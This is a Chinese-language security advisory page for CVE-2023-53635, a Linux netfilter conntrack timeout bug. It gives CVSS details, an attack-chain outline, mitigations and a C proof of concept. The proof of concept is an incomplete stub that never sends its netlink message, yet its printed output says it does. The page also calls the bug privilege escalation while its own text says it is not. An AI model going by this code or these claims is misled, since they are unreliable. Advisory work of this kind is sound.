IPBUF安全漏洞报告
English
CVE-2023-53635 CVSS 5.5 中危

CVE-2023-53635 Linux内核netfilter conntrack超时值错误漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53635
漏洞类型
逻辑错误/数值处理错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (netfilter conntrack子系统)

相关标签

Linux Kernelnetfilterconntrack逻辑错误本地提权拒绝服务内核漏洞CVE-2023-53635网络子系统

漏洞概述

CVE-2023-53635是Linux内核netfilter连接跟踪(conntrack)子系统中的一个逻辑错误漏洞。该漏洞涉及conntrack结构体中`timeout`字段的错误处理。在conntrack确认之前,`(struct nf_conn)->timeout`表示一个时间间隔(interval);在确认之后,它表示一个时间戳(timestamp)。然而,在代码实现中,当通过`ctnetlink_change_timeout()`设置未确认conntrack的超时值时,`nfct_time_stamp`被错误地添加了两次到`ct->timeout`中;同样地,当通过`ctnetlink_dump_timeout()`获取超时值时,`nfct_time_stamp`被错误地减去了。这个问题自引入nfnetlink_queue conntrack支持以来就存在。CVSS评分为5.5,属于中危级别。攻击者需要本地低权限访问权限,无需用户交互,可导致系统可用性受到高影响。该漏洞主要影响Linux内核的稳定版本,需要通过补丁修复来正确分离设置和获取`ct->timeout`的两种情况。Pablo Neira Ayuso补充指出,需要更新ctnetlink在IPS_CONFIRMED标志设置之后再设置超时,否则通过ctnetlink创建conntrack会出错。

技术细节

该漏洞的根本原因在于conntrack超时值的双重语义处理不当。在Linux内核的netfilter conntrack模块中,`struct nf_conn`结构体的`timeout`字段在不同阶段具有不同含义:

1. **确认前(Unconfirmed)**:`timeout`表示一个时间间隔,即conntrack条目将在多长时间后过期。
2. **确认后(Confirmed)**:`timeout`表示一个绝对时间戳,即conntrack条目将在什么时间点过期。

漏洞涉及两个关键函数:
- `ctnetlink_change_timeout()`:设置conntrack的超时值。问题在于对未确认的conntrack设置超时时,`nfct_time_stamp`被错误地添加了两次,导致超时值计算错误。
- `ctnetlink_dump_timeout()`:获取conntrack的超时值。问题在于获取时`nfct_time_stamp`被错误地减去,导致返回错误的超时值。

利用方式方面,攻击者需要本地低权限访问权限(PR:L),通过操作conntrack条目触发该逻辑错误。虽然该漏洞不会直接导致权限提升或代码执行,但错误的超时值可能导致conntrack表中的条目过早或过晚过期,进而影响网络连接的正常处理。在某些情况下,错误的超时值可能导致系统资源耗尽或网络功能异常,从而影响系统的可用性(A:H)。

修复方案是将设置和获取`ct->timeout`的逻辑分离到不同的函数中(`__nf_ct_set_timeout()`用于设置,`ctnetlink_dump_timeout()`用于获取),并确保在IPS_CONFIRMED标志设置之后再设置超时值。

攻击链分析

STEP 1
1. 获取本地访问权限
攻击者需要获得目标系统的本地低权限访问权限(PR:L),这是利用该漏洞的前提条件。
STEP 2
2. 建立netfilter conntrack条目
通过nfnetlink接口或正常的网络连接建立conntrack条目,利用ctnetlink_change_timeout()函数设置超时值。
STEP 3
3. 触发timeout值错误计算
在conntrack确认之前调用ctnetlink_change_timeout(),导致nfct_time_stamp被错误地添加两次到ct->timeout中,产生错误的超时值。
STEP 4
4. 影响conntrack表状态
错误的超时值导致conntrack条目过早或过晚过期,可能造成网络连接异常、连接跟踪表状态不一致,影响系统可用性。
STEP 5
5. 可用性影响
通过持续触发该漏洞,可能导致系统网络功能异常或资源耗尽,实现高可用性影响(A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53635 - Linux kernel netfilter conntrack timeout value error * * This PoC demonstrates triggering the bug via nfnetlink_queue conntrack support. * The vulnerability causes incorrect ct->timeout value handling. * * Note: This requires local low-privilege access and appropriate kernel capabilities * (NET_ADMIN) to interact with netfilter subsystems. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/netfilter.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nfnetlink_conntrack.h> #include <linux/netfilter/nf_conntrack_common.h> // Simplified structure for triggering the conntrack timeout bug struct nf_conntrack_tuple { unsigned char dummy[64]; }; int main(int argc, char *argv[]) { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh; struct nfgenmsg *nfmsg; char buffer[4096]; printf("CVE-2023-53635 PoC - Linux kernel netfilter conntrack timeout bug\n"); printf("This PoC attempts to trigger the timeout value miscalculation\n"); printf("in ctnetlink_change_timeout() and ctnetlink_dump_timeout().\n\n"); // Create netlink socket for nfnetlink communication sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock_fd < 0) { perror("socket creation failed (need NET_ADMIN capability)"); return 1; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr *)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel // Prepare netlink message to manipulate conntrack timeout // This would trigger the bug where nfct_time_stamp is added twice // when setting timeout on an unconfirmed conntrack nlh = (struct nlmsghdr *)buffer; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct nfgenmsg)); nlh->nlmsg_pid = getpid(); nlh->nlmsg_type = (NFNL_SUBSYS_CTNETLINK << 8) | CTNL_MSG_CTNEW; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL; nfmsg = (struct nfgenmsg *)NLMSG_DATA(nlh); nfmsg->nfgen_family = AF_INET; nfmsg->version = NFNETLINK_V0; nfmsg->res_id = 0; printf("Sending netlink message to trigger conntrack timeout bug...\n"); // Note: Full exploitation requires crafting proper conntrack tuple // and attributes. The bug manifests when: // 1. Creating an unconfirmed conntrack via ctnetlink // 2. Setting timeout via ctnetlink_change_timeout() // 3. The timeout value will be incorrectly calculated close(sock_fd); printf("PoC execution completed. Check kernel logs for any issues.\n"); return 0; }

影响范围

Linux Kernel < 6.6 (包含netfilter conntrack的版本)
Linux Kernel stable分支需要应用补丁的版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过限制普通用户对nfnetlink接口的访问权限来降低风险。具体措施包括:使用iptables/nftables规则限制网络连接跟踪行为;通过Linux capabilities机制限制CAP_NET_ADMIN权限的分配;监控系统日志中异常的conntrack操作;临时禁用nfnetlink_queue conntrack支持功能(如果不使用该功能)。建议尽快升级到包含修复的内核版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表